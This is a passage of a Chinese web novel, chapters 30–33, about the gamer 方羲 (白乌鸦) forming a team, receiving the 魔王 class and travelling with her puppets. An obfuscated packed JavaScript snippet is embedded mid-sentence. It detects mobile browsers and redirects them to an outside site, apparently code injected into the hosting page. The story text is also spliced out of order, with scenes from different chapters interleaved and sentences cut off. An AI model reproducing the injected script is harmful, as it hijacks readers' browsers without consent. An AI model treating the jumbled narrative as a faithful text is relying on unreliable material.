【高级技能书已消耗完毕。】 普通数值： 攻击【6090】 生命【6660】 敏捷【5500】 防御【5318】 体力【299】 耐力【301】 特殊数值： 异端抗性：2001 灵感：0 腐蚀度：1 至于游戏等级，从二级升到三级需要1000点经验，方羲现在只积累了一半。 方羲把自己普通数值的大致区间和等级贴在普通的游戏论坛上，发了个招募贴。 只是二级玩家的数量实在太多，她的数值又被路过的玩家怀疑是氪金党，被吐槽了几句之后，这个招募贴很快石沉大海。 方羲又重新在普通论坛发布了一个新帖子。 【大家都是怎么找到自己的固定队友的？】 【1L白乌鸦】：（发疯）（尖叫）（嘶吼）（扭曲阴暗地爬行） 【2L】：哈哈哈哈哈哈啥玩意？直接去招募区找呀。 【3L】：+1。现在玩家总数量这么多，找不到的话可能…确实是个人实力的问题。 【4L】：我是和现实朋友一起注册游戏的。虽然职业天赋不是完美契合那种，但两个人实在太熟了，少了常规的磨合期，合作也很方便。呃，不过我这种情况可能对层主没什么参考性。 【19L】：我和队友是萌新期认识的哈哈哈哈@某A玩家@某B玩家@某C玩家 …… 方羲原本只是想发个疯，没想到这个帖子下面反而成为一众玩家长篇大论从到到尾讲述自己如何和队友认识，之后又如何如何的树洞。 【199L白乌鸦】：这个世界不适合社交恐怖分子生存。（落寞离去.jpg） 【203L】：社交恐怖分子？那岂不是更好找队友，这有什么难的？楼主大胆上！ “唉…”方羲又看了看刚刚在普通论坛发布的招募贴，还有没有一个人搭理她。 方羲感到一丝伤心。 她实在是努力过了。 【……好吧，我可以为您随机队友。】欧律狄刻见状，只能做了一个无奈的退让，【但非常少玩家会进行这个选择，成功随机到队友的概率非常低。】 “好好好！”方羲顿时支棱起来，又重新看一遍二十号开启的大型团队副本规则，决定到时候直接在副本入口蹲守，暗中捕捉落单的玩家。 ※ 踏樱又一次拒绝了来自符瑶强制分配的组队。 但这种拒绝只是暂时的。 “如果你在九月底之前，找不到契合的团队，那只能接受强制安排的队伍了。”符瑶的语气很强硬，站在身形瘦削的踏樱面前，强壮的身躯投下一道充满压迫力的阴影。 符瑶是一个掌控欲相当强烈的人，而且随着接触真实区域的时间越久，脾气变得显而易见的暴躁。很多时候，只有楚嘉薇和孟逢霜的话，她才会勉强听一听。 踏樱习惯性扯出一个微笑，游刃有余地应对：“我倒是可以接受除了解云之外的任何队伍。” 符瑶皱了皱眉头，却没做出任何口头上的退让，而是又一次陈述命令：“你还有一个半月的时间。” 两个人不欢而散。 踏樱温和的微笑瞬间消失，满脸厌恶和戾气，和平日的形象截然不同。 她不高兴地撇撇嘴，嘀咕道：“真是一个白脸一个红脸，又想试探我的底 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14739193|157459||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 线。” 没意思。 踏樱倒不是不想寻找新的团队，只是过去披着游戏的马甲，她才可以毫无芥蒂地和任何人合作。 失乐园不读取玩家的现实信息，它们辩识玩家账号是通过玄之又玄的灵魂。 也是因为这个原因，踏樱活了二十年的时间里，第一次感受到正常的生活，属于天性的善良底色重新生长。 可是，信任果然是最脆弱的东西。 她的确没想到个人信息会意外暴露。 踏樱多少有尖锐的一面，否则真要用一副善良圣母的面貌，自然无法在星球监狱活下去。 她回到专属于造梦家的个人空间里，垂眼看着手中缠绕着玫瑰藤蔓的洋伞。 “真是不可思议的人。”踏樱脸上恢复了几分精神，把方才冒出的咕咚咕咚的黑泥情绪丢去一边。 打开游戏面板，踏樱翻了很久的招募贴，始终没找到什么实力匹配的玩家。毕竟同阶层的新晋玩家，也都早有固定团队。 如果踏樱有任何加入的意愿，其实其他新晋玩家也未必不欢迎。 但她实在懒得挂着笑脸，忍受其他新晋玩家似有似无的有色眼镜。 自尊心强的恐怕是我吧。踏樱扯了扯嘴角，在心里自嘲地想。 踏樱指尖一顿，游戏面板停留在一个留言寥寥无几的帖子。 这名玩家等级不高，但是普通数值却远远高于同等级的平均水平，说明她现实的战斗素质非常出众。 至于底下吐槽这是个“氪金党”的留言，完全是个眼红的诬陷，技能书的确可以直接大量购买，但能否大量使用，就是另一码事了。 这是一名新玩家…踏樱想了想，点进这名玩家的信息界面，想先和对方聊几句看看，结果忽然发现自己和对方已经了好友了。 咦？？？这是哪个玩家？她什么时候加上去的？ 踏樱的好友实在太多了，由于她过去马不停蹄地刷副本、带新人、解救陷入困境的玩家，基本上见过一面的玩家她都加上了好友，有时候甚至只是出于话唠的本性，聊过几句的玩家她也会加好友。 踏樱仔细看了看玩家的昵称，忽然后知后觉！ 这不就是十几天前解锁锚点的那名玩家吗？ 踏樱直接点进和玩家“白乌鸦”的对话，狂敲屏幕。 【踏樱】：早上好哇！！！！ 【踏樱】：我刚好在游戏论坛看到你招募队友的帖子，你还需要队友吗？我们之前偶然见过一面！ 【踏樱】：对了！这是我普通数值的大致区间，你看看觉得可以吗？ 【白乌鸦】：愣住.jpg 【踏樱】：星星眼.jpg 踏樱给方羲发过来的普通数值，每一个都在一万五左右。和她放在在普通论坛上看到的部分玩家少得可怜的数值，简直是天壤之别。 “两个人够吗？”方羲问欧律狄刻。 【……理论上不允许，两名玩家难以大型副本中生存。】欧律狄刻说，【但你和玩家“踏樱”可以。】 就是同意的意思。虽然方羲从欧律狄刻的机械音听出了几分无奈。 【白乌鸦】：好好好！那就我们俩一起吧！（跳扭秧舞.jpg） 方羲把新晋组队邀请发送给踏樱。 踏樱正想回复说她再找一名猎人，结果忽然收到专属系统013的提示：【您的队伍综合实力已满足参赛要求，根据检测，队长权限已自动锁定在玩家“白乌鸦”上。】 咦？ 失乐园的中央主脑会自动量化每一名玩家的实力，在新晋期，这种机械的量化是最准确的。而在真实区域，系统会逐步退出副本，因为这是机械无法涉及的领域。 一般来说，队长的权限会自动交给造梦家或傀儡师，只有当团队中全是猎人，专属系统才会退而求其次选择灵感较高的猎人玩家。 即使是战斗实力再强的团队，也必须要有一双眼睛。 踏樱懵了一秒，但她很快反应过来。 专属系统的决定，说明这名新玩家的灵感远远高于她。 踏樱想了想，也没反对，继续狂敲屏幕：没问题！那就二人组队吧！五天后会开启大型团队副本，我们这几天先约个时间磨合一一下怎么样？如果不适合的话再说，可以吗？ 【踏樱】：下午两点会有一个小型团队副本定时开启！（发送坐标）你到时候有空吗？ 【踏樱】：不用担心受伤，我会时时刻刻保护你的！（骄傲.jpg） 30-40 第 31 章 第 31 章 方羲回到人偶师的空间。 猫猫好像已经习惯了人偶师经常外出，这次只是上来蹭了蹭，确认主人没什么生命危险之后，就懒懒地躺回自己的小窝。 方羲也躺在自己的专属沙发，一副咸鱼躺，满脸疲惫，简直像是被吸干了精气。 【……】欧律狄刻经过数据判断，确定方羲并不是因为刚经过一场危险副本而疲惫。 她可能单纯因为“外出”这一件事情感到心累。 方羲陷入发呆状态。 猫猫看了一眼懒懒的方羲，又从自己的小窝走出，熟练地蹦上沙发，缩成毛团躺在主人旁边，任由她有一搭没一搭地梳毛。 半小时后。 随即，所有玩家发现，自己身上被绑定了一个随机传送的BUFF。 方羲在远远眺望了一番可怜玩家们被狂风吹走的景象，只觉得场面非常壮观，然后转头向已经傻眼的异端服务员买了一杯加冰橙汁，坐在旁边休闲地喝。 当然，是宋白玉付的钱，因为方羲身上一个铜币也没有。 趁着玩家被接连吹走的间隙，方羲打开造梦系统，看了看刚刚解锁的新功能——所有玩家能在世界界面进行实时对话。 这个功能才没开放多久，已经被某些热爱上网的玩家刷起了屏，一水的问号和“发生了什么？” 方羲自然不会出声解答玩家们的疑惑。 她怎么可能告诉他们，自己让踏樱释放造梦场根本不是为了催促搜集进度，只是为了隐瞒自己和两名首席玩家、人偶们一起活动的事情呢？ 等到方羲喝完了果汁，踏樱的魔法练习也结束了。 所有玩家都被“风”吹走了。 “现在小镇上除了我们，一个人也没有。”踏樱问，“这下我们可以出发了吧？” 他们的终点是【帝国王都】，而第一站是【巨人部落】。 狐狸忽然问：“等等，你们没有准备马车吗？难道我要跟你们一起走路？！” 那也太为难狐了！ “不过……”宋白玉纳闷地问，“我看队长吃得还挺开心的，而且她不夹异端做的预制菜，只吃我做的那几道……你们真的没吃出来吗？” 三人默契地摇头。 秦淮月甚至瞥了一眼宋白玉，因为她忽然意识到。这名猎人似乎颇为关注“收藏家”的各种小习惯。 什么时候开始的事情？ “或许是因为白乌鸦……”秦淮月说这种话的时候，忍不住联想到某人味道诡异的苹果，几乎是顿了一下才继续说，“……味觉灵敏。所以她尝得出异端制作和人类制作之间的区别。” 味觉灵敏？ 踏樱心想要不是她见过白鸦煮面条，她就差点信了。 “二位，你们也去休息吧。”宋白玉说，“我需要的睡眠时间一向很少，所以不急着睡觉，我打算等会去厨房提前准备准备第二天的早餐。对了，你们还没说明天想吃什么呢？我可以顺便给你们做一份！面条？面包？炖汤？有什么忌口吗？” 顺便是什么意思？ 三人对吃的都不挑，宋白玉耸了耸肩，从口袋里翻出一张写满纸的白纸，在队友们面前甩了甩：“你们还真客气，这是队长刚刚写给我的要求。” 写了足足二十余行。 要求极其繁杂。 包括但不限于不吃葱蒜、不吃肥肉、盐度适宜、虽然她吃辣但大清早请不要加辣……种种奇离古怪，像是来找茬的废话。 总之，四人的闲聊就此结束。 但就在宋白玉在厨房捣鼓的深夜时分，原本应该在卧室休息的秦淮月，忽然又走了过来，站在门口，忽然开口道。 “你也注意到了。” “我知道。”宋白玉转过身，像爱惜每一把枪械那样，将菜刀上的水滴擦拭干净，低声道，“即使是新晋玩家，也不需要在游戏世界长时间睡眠和大量进食。如果是真实战场倒可以另说……” “她的投影候群症非常严重。”秦淮月有些不安地皱起眉头，“这会大大增加异端追踪到她现实位置的概率。” “但没有任何治疗的办法。”宋白玉说，“这种病……唯一缓解的方法就是不再踏入副本。最重要的是，她居然在没有进行真实试炼的情况下，就严重到这种地步。” 宋白玉忽然想到什么，默了一瞬。 “总有一天，她也会走到分界线。” “然后在疯狂与后退之间，做出最终的抉择。” 厨房只点了一盏橘黄色的灯，照亮四方的一角。当深夜的风从窗口穿过，火焰明明灭灭地暗了一瞬。 两名首席猎人，在此刻默契地抬起眼，对视。 “你内心的怀疑太多了。”秦淮月在宋白玉的眼中窥见了羸弱的担忧，平静地说，“她是灵感无穷之人。” “秦队，她彻底将你说服了吗？”宋白玉双手抱臂，含笑道，“明明不久之前，你陷入了对一切都怀疑的状态。” “的确如此。”秦淮月回答，“我不会否认这一点。” 就算可以用传送魔法……狐狸表示它不想随随便便浪费魔力施法，它可是一只勤俭节约的狐狸！虽然用也可以，但那是另外的费用，不包含在禁书训练之内。 秦淮月等人闻言，都愣了一下——在他们过往副本经历里，绝大部分都是靠徒步探索……而这次副本类型特殊，方羲也没有主动提，他们就自动忽略了是否使用代步工具这一点。 而现在……四人下意识将目光放到方羲身上，却见她的表情经历了茫然、思索、震惊等种种精彩的变化，最后一拍脑袋，满脸恍然大悟！ “真是不靠谱的魔王。”狐狸摇摇头。 “没关系，现在是白天，还来得及。”方羲翻了翻游戏背包和一千零二的肚子，觉得制作材料肯定是够的，大不了在野外采集一番，“我们先出城。” 虽然不懂方羲接下来想做什么，但队友们自然不会对她的决定有任何意见。 于是一行人和人偶来到城门，门口有两名看上去相当凶神恶煞的守卫。 “请出示您的勇者证。” 方羲给出那她那张纯黑色的神秘职业资格卡片。 守卫甲接过来看了看，然后一脸古怪、眼神里甚至带着点不屑地还了回去。 “您的职业非常邪恶，和勇者对立。”守卫乙说，“我们不能轻易放你出镇——除非您支付足额的人头费，您愿意接受这个条件吗？” 方羲问：“一个名额多少钱？” “您的团队一共有五个人类，六个东西。”守卫乙看了一眼方羲的头顶，上面飞着一只小鸟，忽然改口道，“现在是七个东西。” 嗯？ 方羲也抬头一看，原来还有一只大白鸦没跟着其他玩家一起被“吹”走，正在上空嘎嘎乱叫。 看见主人朝自己挥了挥手，大白鸦立刻俯冲而下，落到了方羲的左肩。 “每个成员等价于100万银币，您一共需求支付1200万银币。”　守卫乙说，“由于金额过大，您可以选择支票的形式支付。” 方羲大惊，一个人100万？！怎么还带翻倍涨价的？ 其他人也震惊了！ 如果真按守卫说的这么来，他们团队的余额一下子就砍了80%！简直就是开局不利！而且这么花下去，他们岂不是很快两手空空？ “不能便宜一点吗？”方羲愤怒又无助地说，“你们就是明晃晃的抢劫！” “谁让你是魔王？”守卫甲不屑地说，“看看那些光明磊落、出手又大方的勇者……他们哪像您？” 方羲觉得自己被嘲讽了。 守卫甲见方羲迟迟没有下决断，态度也变得更加傲慢，似乎笃定她根本拿不出这个钱：“您浑身透露着贫穷的气息……呵呵，这样的人类，也配建立屠龙的队伍吗？” 方羲陷入沉思。 她正在杀掉这两个守卫而背上追杀BUFF和支付高额出城费之间徘徊。 “真的不能便宜点吗？” 方羲发出了最后一次质询，顺手逗弄着左肩的大白鸦，一旦守卫回答了一个“不”字，她就会选择前者。 守卫甲&守卫乙：“……” 大概是意识到了危险，两名守卫面面相觑，不得不强笑着退让了一步：“看在您屠龙意志如此坚定的份上，我们决定给您便宜一点。一个头10万银币，如何？” 这样才合理嘛！ 虽然方羲觉得自己还是被PUA了，但她还是同意这个新定价。 付钱之前，方羲趁机清点了一番小队目前的财产余额，秦淮月手里还剩的900万余银币，宋白玉的490万余银币，踏樱手里的20万银币，徐万念的八万铜币……还有某人的0银币0铜币（这个不提也罢）。 最后是秦淮月上前付了钱，他们借此获得十二张纪念版的出城门票。 而在方羲踏出最后一步，身体彻底穿过蝴蝶小镇的领域界限之时，背后响起一片疯狂的尖叫声！ 所有人都听到了，无一例外。 队友们都下意识召唤出武器——但目光落到方羲身上时，却发现她的表情一如既往的散漫。 “别紧张。”方羲说，“异端只是在欢呼而已。” 像是羔羊一样，劫后余生的懦弱的欢呼。 当方羲把尖叫的真相告诉给其他人，他们才得到了某种绝对安全的确认，慢慢收起了武器。 狐狸古怪地问：“魔王，你不会是在骗人吧？我可没听过异端发出过这种声音，它们根本就是在威胁！” “是吗？”方羲也回头看了一眼，巨大的城门正在缓缓卷成一个漩涡，消失，“你也听不见吗？” 欢呼的声音却盘旋在脑海里，挥之不去。 “晨乌，我们明天一起出去吧。”方羲微笑道，“使用收藏家的身份。进入游戏这么久了，我还没和你一起出去玩过呢。” “喵！！！”猫猫的尾巴瞬间立了起来，一摇一摇。 显然，它也对和人偶师同行的事情很感兴趣，兽瞳露出一丝可可爱爱的期待。 这是一个新的尝试，方羲还没有在副本中使用过人偶的力量。 不过她只有两天时间。因为两天后，她要回去浮空岛，和踏樱再次参与一个大型仿真副本。 不过在正式出发之前，还有很多准备工作。 比如说捏脸。 方羲摸摸下巴，盯着静静躺着的面具。 那么，这个“第二张脸”该捏成什么样的风格好呢？ 第 32 章 第 32 章 方羲点击使用【被猫猫咬了一口的神秘面具】 森林小木屋缓缓消失，猫猫的身影也在远去。 灵魂仿佛受着某种力量的牵引，飘荡到渺远的宇宙深处。 晃神的瞬间，方羲发现自己身处一片星辰宇宙之间，脚下是美丽璀璨的星云。 这也是第一次登录游戏的场景。 站在方羲面前的依旧是另一个她，只不过并不是现实世界的方羲，而是在注册游戏之初捏的路人脸。 ——它是你的第二颗心脏、第二副四肢、第二个大脑，更是第三只眼。但代替的机会只有七次，请务必珍惜使用！ 方羲的视线落在阳台，忽然惊觉已经大白天了！她居然熬了个通宵！ 凝于一点的专注力重新分散。 客厅四周，不知道什么时候多出了四个熟悉的身影，全在忧心忡忡地看着她。 还有她的人偶。 “喵。”方羲还真顺着宋白玉的思路，认真想了想：“我觉得不一定，它们的味觉系统有这么高级吗？能尝得出甜和苦之间的差别吗？” 宋白玉哭笑不得地说：“队长，你这么评价……就好像异端只是一种低等动物一样，听上去连小孩子也比不上。” “不是吗？” “嗯……如果这种话换作其他人说，我肯定会忍不住驳斥几句，好倒干净他们脑子里的水。因为能这么说话的玩家，一定愚蠢至极，根本不懂得异端的可怖之处。”宋白玉顿住脚步，“但……” “如果说这种话的是你，那我一定会努力去相信。” 但方羲想了想却回答：“保持怀疑也挺好的。” 冒险者广场和她们昨晚住的旅馆有一段距离，所以方羲和宋白玉有一搭没一搭地闲聊着。 大概是因为下午被塞了一嘴的葫芦糖，宋白玉不敢再开启穷极话唠模式，免得让收藏家觉得烦，他不想再陷入沉默的闭嘴状态。尤其是和收藏家待一起的时候，更想说话了。 “你的本职……是一名军人吗？” “那当然！等等，队长。为什么你一副怀疑的样子？！”宋白玉努力自证清白，“别看我这样，我可是帝国第一军校的优秀毕业生！” 方羲想了想，试探问道：“你……不会逃过课吧？” 优秀毕业生？ 这家伙……怎么看都不像三好学生的样子。虽然一夕也不是，但她至少长得像。 方羲甚至在宋白玉身上，找到一丝属于同类的气息。 她可是曾经被同桌封为逃课大王的人！对这一种人的习性，简直是再了解不过！ 宋白玉大惊失色，为什么收藏家的问话如此直击关键？！ “这、这……”宋白玉支支吾吾，自然不愿揭开自己刚入学因为经验不足、被长官当场逮住的黑历史，但在方羲好奇的注视下，只好屈辱地全盘托出。 方羲遗憾地摇摇头：“你们军校管理得太严格了！其实我的翻墙技术也不太好，但我中学的老师可能已经对我失望透顶，所以从不拦着我翻墙。” 宋白玉十分羡慕。 但当他们针对“方羲的中学”这一话题，展开深入探讨的时候……宋白玉越听越觉得不对劲。 什么情况？方羲十分失望。 狐狸看方羲失落的表情，有些心软，那张一向阴险狡诈的嘴脸，不甚熟练地安慰道：“你……别太伤心了。【魔王】和【勇者】一样，都能够创建队伍。” 见方羲又高兴起来，阴险的狐狸立刻话锋一转。 “但和被祝福的、天生自带神圣BUFF的勇者不一样。” “你的灵魂每一分每一秒，都在承受来自怪诞之物的邪恶诅咒。”狐狸哼笑一声，“魔王，做你的队友可不是一个好差事，因为你的体质，更容易引来灾难和怪物。” 方羲并不介意【魔王】的称呼，而是沉浸在终于拥有职业的狂喜中。 她不用去上班了！ 总之在最后，踏樱给狐狸支付了价值两万银币的赔偿金。 但与之相对的，狐狸也信守了承诺，给方羲制作了一张【神秘职业资格证】。 纯黑色的卡片，边缘有淡金色的花纹。 上面雕刻着白乌鸦的昵称。 方羲把这张卡片收入造梦的背包。 然后，她的个人信息，也随之发生了变化。 昵称：白乌鸦 职业：魔王（想要成为勇者的你，反而触发了概率为0.01%的神秘职业……这究竟是一种幸运，还是不幸呢？） 虽然结果走向了另一个极端，但方羲对自己终于能够“创建队伍”非常满意。 方羲在造梦系统上点击【创建队伍】。 【创建成功！】 方羲立刻将踏樱和一夕拉入了队伍。 这样，就算她们相隔千里，也能使用造梦系统对话和实时定位。 但是还差一个战士。 方羲继续骚扰狐狸：“这下，可以给我们发布招募队友的公告了吗？” 狐狸看了看外面的天：“终于天黑了，这个世界的白天很长，离成为永昼还差一点净化的材料。我很喜欢。” “我该下班了。”狐狸揣好自己收获满满的小钱包，“你明天再来吧。” 方羲：“……(゜ロ゜) ” 阴险的狐狸想了想，最终还是友善地提醒了两句：“魔王，你早点去找个旅馆住吧。或者说，也可以去蔷薇酒馆过一晚，在那里活动的人类总是很多，说不定可以提前找到你想要的队友。” 方羲只好跟下班的狐狸挥手道别。 三人离开了伊甸园公会。 踏樱回头看了一眼，那只刚刚在站在原地的狐狸，已经不知道消失到哪里去了。 “原来我没有认出来。”踏樱忽然说，“白鸦，那是傀儡吗？它挥舞法杖的动作，还有面对生命危机的反应，都比我快很多很多。” 一夕也好奇地看着方羲。 说起来，公会里不仅仅只有狐狸考官。但偏偏方羲一进门，就好像本来就有目标一样，直朝着那只狐狸走过去。 方羲摸了摸重新落到自己肩上的大白鸦，忍不住笑了一下，然后才点了点头，算是默认。 因为那是残败的人偶。 也是从洞穴宝箱里，开出的宝藏。 小小一团的狐狸，睡在被主人精心铺垫的毯子上。但橙红色的毛发，也随着宇宙的流逝，变得灰扑扑的。 狐狸叫什么名字呢？ 没有名字，狐狸似乎就只是狐狸。 方羲不知道。因为在《人偶师作品图录》上，也没有找到答案。 这是一只没有被记载到历史里的人偶。 或许等狐狸梦醒之后，能够在失乐园醒来的某一天，她可以问一下。 哪怕方羲经常考零分，科任老师也从不叫她去办公室喝茶！ 哪怕方羲在教导主任眼皮子底下逃课，也从没有被记过警告！ 主动归家的猫猫，看主人终于脱离工作状态，立刻跳到她的怀里，然后一脸迟疑地往那只血迹斑斑的手嗅了嗅，担忧地喵喵叫了几声。 总是缩在阴暗角落发霉的艾莉克萨，也走到了阳光之下，无措地盯着方羲受伤的手杖。但她只懂战斗，于是左看右看，只能生气地瞪着四名人类玩家。 “主人……你流血了……”夏青禾拼命往自己的手提包翻找。 但分身无数的少女，有死亡却没有受伤的概念，所以反而慢了踏樱一拍。 方羲的伤口极快地长出新的血肉，愈合。 “这样就好了。”踏樱沉默了一下，脸上才露出一个笑容，用轻松的语气说，“白鸦，我本来早就想往你身上丟治愈技能，但你制作武器的状态实在太专注了，我不敢贸然打断你……这样真的好吗？” “什么？”长枪也扎入大地。 无数刺耳的尖叫声凭空爆发！ “魔鬼！魔鬼！” “这只人类是邪恶的魔鬼！” “绝对不能给她颁发勇者的证明！” “杀死她！” 怪物没能杀死“魔鬼”。 因为它们很快被狐狸打散了。 世界恢复了寂静。 狐狸和三只人类面面相觑。 狐狸看了看被怪物撕裂的墙壁。 “赔钱！”狐狸不知道从哪里取出一个计算器，刷刷刷地算数，“你至少要赔偿一万个银币！能够支撑魔法阵的墙壁，可是很难制造的！你明白吗？！” 方羲面露绝望。 踏樱也有些茫然，虽然她没那么守财，但实在没想到，白鸦这么能花钱。简直像破财一样。 “好吧。”方羲同意赔钱，“但我的考试结果应该变了吧？” 毕竟，魔法阵【变形】了。 方羲期待地问：“这下，我可以是勇者了吧？” 狐狸敲计算机的动作一顿，整张狐狸脸，露出一种极其古怪、似乎不知道该怎么形容某人考试结果的表情。 “不。”狐狸冷酷无情地说，“你只是触发了一个概率为0.01%的结果。显而易见，这种结果还不如没有变化。但……算了，你叫什么名字？看在8000银币的份上，我给你办一个【不方便公开】的神秘职业资格证。” 方羲震惊地问：“我有职业了？！是是是什么？” “魔王。” “啊？什么？” 狐狸重复了一遍：“魔王。” “(゜ロ゜)哦哦，就是怎么和预想中不太一样……” “你可真是明知故问。”踏樱撇撇嘴，但又叹了口气。 “我可没有。”方羲接完踏樱的话，顺手把手杖剑丢给徐万念，然后刷地一声翻开笔记本，心满意足地打上一个勾！ 徐万念神色茫然地看着手里的新武器，有点不太适应——不，是合适得太过分了，因为这把剑轻盈又锋利，简直与她的生命融为一体。 说到底，长枪对力气不如其他猎人的她来说，还是太过于笨重了。 “这不是猎人的武器。”方羲说，“当你的灵魂真正消化完异端杂音的时候，你才能真正意义上使用这个新武器，虽然我更希望你不必迎来变迁的那一天……反正，你先收进背包吧。” “嗯……”徐万念低低应了一声。 地板也忽然长出一根暗绿色的藤蔓，戳了戳方羲的小腿。 枝叶传来了回音。 春醒、一千零二和黑心狐狸，正待在小镇门口等她。 方羲想了想，随手拔了一下凌乱的头发，眼里带着笑：“走吧，我们去【退房】。” 所有人微微一愣，瞬间听懂了方羲的潜台词。 这是一个出发的信号。 但徐万念却猛地抓住方羲的衣袖。 “怎么了？” “……”徐万念抿了抿唇，低声说，“可你一晚上没有休息，还受了伤……我们不能再停留一天，养精蓄锐再走吗？” “不。”方羲扯掉徐万念的手，平静地说，“我该出发了。” 徐万念愣了一下，从方羲的眼里看到了一种习以为常的决绝。 傀儡师大多如此。 她是低调、对一切新鲜事物充满好奇的新手玩家白乌鸦。 但也是踩过无数异端尸骨，创造过无数生命的人偶师。 方羲推开木门，走出屋内。 猫猫见状，也赶紧跳转方向，灵活地跟上主人。 方羲走到小绿芽旁边蹲下，伸出手，极轻地碰了碰散发着淡绿光芒的叶子。 小绿芽开心地摇了摇。 方羲又摸摸猫猫。 晨乌喵了一声。 “明天我和晨乌去给你找一些更好喝的水。”方羲忍不住多说了几句，“给你专门做个喷壶好了，还有再找几个武器胚胎……好困，我下线了，明天见。” 起个什么名字好呢？方羲思绪游离地想。 为她的第二只人偶。 第 33 章 第 33 章 方羲在中午十一点准时醒来，在床上磨蹭了半小时后，才慢悠悠爬起来洗漱，喝营养液，坐在桌边拿起雕刻刀磨了一会木头，迷糊的睡意才彻底散去。 精神恢复满值！ 方羲重新躺进全息仓，进入游戏。 睁开眼睛，她的身体在小木屋的沙发上躺着。 肚子好像有点沉重…方羲下意识伸出手，摸到一只毛团。 好沉重……橘猫的基因开始发作了。 “晨乌，你该减肥了。”方羲深沉地说。 那么，这两间卧室，究竟哪一个是一夕的？ 二选一。方羲大怒！ 并且愤怒地敲了敲面板，但造梦系统根本不为所动！ 在队友诡异的注视下方羲只好暂时冷静下来。她想了想，又跑进杂货铺，购买了一份《世界基础科普指南》，认真阅读。 一个队伍至少要有四个人，分别是领袖位置的勇者、神奇的魔法师、敏捷的刺客、强悍的战士。 只有勇者才能创建队伍。 不管是成为哪一种职业，似乎都要获得初级的资格证。 而考证要花钱，最昂贵的勇者证，需要支付8枚银币。 但科普指南上没有介绍勇者具体要考什么，只附带了一句：想要考取“勇者证”，请前往当地的伊甸园公会进行咨询。 反而像魔法师、佣兵、牧师之类的，都有详细的考核说明。 方羲想到刚刚偷听到的对话，很多造梦家刚进来就自带了“勇者”的职业！而她居然还要去考证！ 这合理吗？并取消了任何吸引她注意力的行为，免得自己遭遇无妄之灾。 方羲转身拿了个手提篮，将刚刚制作、打包好的苹果糖，抓了一大把丢进去，顺便把两个笔记本一起放在里面，打算等会顺手送给那群首席玩家。 塞得满满当当的手提篮，最终被吞进了一千零二的无穷宇宙里。 方羲走到草地中央，忽然打了个响指，目光缓缓落在一只大白鸦身上。 六百只由上帝之手缔造的傀儡，倏忽间像是感应到了什么，张开美丽的羽翼，足爪一跃。 而后，群鸟齐齐撞入无穷之宇宙，边缘被烧灼得不规则的书面，泛起一圈圈浅浅的波澜。 九百号好奇地问：“你打算出门吗？要把这些病人送回去？” 方羲重新给自己戴上【被猫猫吃了一口的神奇面具】，听见九百号的问话，漫不经心地嗯了一声。 “我也想出门！”九百号身体展开成大字的形状，兴奋地说，“一千零一，这次带我去看看！要是别人看到我，你就说我是你的人偶就行了。” 方羲想了想，这家伙的确从恶魔副本回来之后，就没再出过门，还怪可怜的，就同意了。 不过，要不要提前和他们打个招呼呢？ 上次不请自来好像耽误了首席玩家的工作时间……方羲略略思索，最终觉得还是算了。因为以黑天鹅的办事效率，肯定把病床准备好了。她只是走一趟，把迷失的玩家塞回去而已 。 主打一个来去匆匆。 方羲打开游戏地图，忽略后台堆积了整整十天的9999+未读消息，把泥土小人放在自己肩膀上，还有二十四小时跟随在身边的一千零二，然后才正式点击传送。 半秒后，视野一转，变成熟悉的浮空岛。 方羲正想迈开步子前往目的地，却忽然听见耳边，传来一声沙哑的叹息，微微侧目，发现这声音来自满脸恍惚的九百号，这只苍老得已经失去所有颜色的灵魂。 “原来……【我们】已经死了这么久。” 9序列的先行者，并不是擅长战斗的类型。但他们依然是异端精心豢养的胚胎，再怎么样，其战斗力也比普通人类要强上几个层次。 他们经常驻守后方，负责记录、分析、后勤、预知。而且在基因细胞中，也被异端赋予了生命最悠长的特点，所以活得最久。 在落地的一刻，九百号就看见了失乐园破损的“栏杆”。 没有经由先行者之手保养、修复的失乐园，摇摇欲坠，勉强撑着一口气。 但……世界一尘不染的蓝天白云，恢宏壮美的建筑大楼，飘在半空工作的小机器人，还有来来往往、脸上带着几分疲惫，却依然“乐观”的人类。 好多人。 好多“玩家”。 九百号以前常常和数据打交道，但这几天借了一千零一的账号上网的时候，也是第一次感受到帝国现在的人类数量，究竟有多么庞大。 现在，真正重返了人偶师大地之外的世界，九百号的老花眼，从流动着丝线的空气中，窥见无数生命在诞生、呼吸、沉睡。 这些人……哪怕以前跟在自己的背后，也常常无法共同深入危险之境，甚至死得过于早了。 但为什么，他们脸上挂着这么灿烂的笑容？ 等等，万一踏樱有“勇者”职业呢？ 方羲期待地问：“你们的初始职业是什么？” “大魔法师。” “佣兵。”一夕看了一下，皱了皱眉头，不情不愿地补充道，“细分职业是刺客。” 好吧，没有勇者。 “既然这样，我们去公会招募！”方羲仔细看了看地图，努力记住【伊甸园公会】的坐标，“我们得再找一个战士和一个勇者！” 二人面露茫然。 在副本内临时招募队友？ 她们虽然觉得方羲的脑回路实在过于清奇，但也没有反对，而是一左一右跟在旁边并行。 越往蝴蝶小镇地势高处走，路过的真实玩家也越来越多。 不少玩家想要前往的目的地，似乎都和方羲一样。 但相比于悠闲的方羲，很多玩家的目光会时不时瞥一眼在背着草药回家的幼年精灵，杂货店玻璃窗后看报纸的店主，在大街上奔跑玩乐的小孩，又或者例行巡逻的官方佣兵。 造梦副本的NPC。 由异端扮演的NPC。 结构就和以往经历过的剧情本相似。 但不同的是，这些异端似乎对人类玩家本身并无恶意，只当这是一群外来的冒险者，甚至对他们没有太大的兴趣。全身心的注意力都在自己的“生活”上。 堪称兢兢业业，相当恪守本职工作。 搬运货物、打理田地、叫卖黄昏的报纸、编织新衣服、准备今天的晚饭、处理新打到的猎物…… 造梦的世界，在和平而秩序地运行着。 空气中也没有弥漫着隐晦的食欲和杀意。 就好像，这里的确只是一个只需要完成“主线任务”，就能退出的大世界游戏副本。 人类玩家只是过客。 而异端才是永恒驻留于此，再也无法逃脱造梦场的NPC。 “真不可思议。”一名密匙造梦家嘀咕道。 